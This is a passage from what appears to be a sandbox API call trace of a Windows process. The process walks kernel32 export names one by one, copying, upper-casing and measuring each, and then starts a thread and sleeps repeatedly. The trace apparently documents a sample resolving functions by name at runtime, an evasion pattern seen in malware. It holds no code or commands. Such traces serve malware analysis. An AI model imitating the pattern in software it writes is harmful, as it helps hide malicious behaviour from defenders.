lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0053.813] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0053.813] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0053.813] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0053.813] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0053.813] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0053.813] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0053.813] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0053.813] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0053.813] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0053.813] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0053.813] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0053.813] lstrlenA (lpString="CANCELIO") returned 8 [0053.813] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0053.814] lstrlenA (lpString="CANCELIOEX") returned 10 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0053.814] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0053.814] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0053.814] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0053.814] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0053.814] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0053.814] lstrlenA (lpString="CHECKELEVATION") returned 14 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0053.814] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0053.814] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0053.814] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0053.814] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0053.814] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0053.814] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0053.814] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0053.814] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0053.814] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0053.814] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0053.814] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0053.814] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0053.814] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0053.815] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0053.815] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0053.815] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0053.815] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0053.815] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0053.815] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0053.815] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0053.815] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0053.815] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0053.815] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0053.815] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0053.815] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0053.815] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0053.815] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0053.815] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0053.815] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0053.815] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0053.815] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0053.815] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0053.816] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0053.816] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0053.816] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0053.816] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0053.816] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0053.816] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0053.816] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0053.816] lstrlenA (lpString="COPYCONTEXT") returned 11 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0053.816] lstrlenA (lpString="COPYFILEA") returned 9 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0053.816] lstrlenA (lpString="COPYFILEEXA") returned 11 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0053.816] lstrlenA (lpString="COPYFILEEXW") returned 11 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0053.816] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0053.816] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0053.816] lstrlenA (lpString="COPYFILEW") returned 9 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0053.816] lstrlenA (lpString="COPYLZFILE") returned 10 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0053.816] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0053.816] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0053.816] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0053.816] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0053.816] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0053.817] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0053.817] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0053.817] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0053.817] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0053.817] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0053.817] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0053.817] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0053.817] lstrlenA (lpString="CREATEEVENTA") returned 12 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0053.817] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0053.817] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0053.817] lstrlenA (lpString="CREATEEVENTW") returned 12 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0053.817] lstrlenA (lpString="CREATEFIBER") returned 11 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0053.817] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0053.817] lstrlenA (lpString="CREATEFILEA") returned 11 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0053.817] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0053.817] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0053.817] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0053.817] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0053.817] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0053.817] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0053.818] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0053.818] lstrlenA (lpString="CREATEFILEW") returned 11 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0053.818] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0053.818] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0053.818] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0053.818] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0053.818] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0053.818] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0053.818] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0053.818] lstrlenA (lpString="CREATEJOBSET") returned 12 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0053.818] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0053.818] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0053.818] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0053.818] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0053.818] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0053.818] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0053.818] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0053.818] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0053.818] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0053.818] lstrlenA (lpString="CREATEPIPE") returned 10 [0053.818] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0053.819] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0053.819] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0053.819] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0053.819] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0053.819] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0053.819] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0053.819] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0053.819] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0053.819] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0053.819] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0053.819] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0053.819] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0053.819] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0053.819] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0053.819] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0053.819] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0053.819] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0053.819] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0053.819] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0053.819] lstrcpyA (in: lpString1=0x2abf2e0, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0053.819] lstrlenA (lpString="CREATETHREAD") returned 12 [0053.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x42f9d0, lpParameter=0x5f0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0 [0053.820] Sleep (dwMilliseconds=0x3e8) [0055.469] Sleep (dwMilliseconds=0x3e8) [0059.069] Sleep (dwMilliseconds=0x3e8) [0061.365] Sleep (dwMilliseconds=0x3e8) [0062.412] Sleep 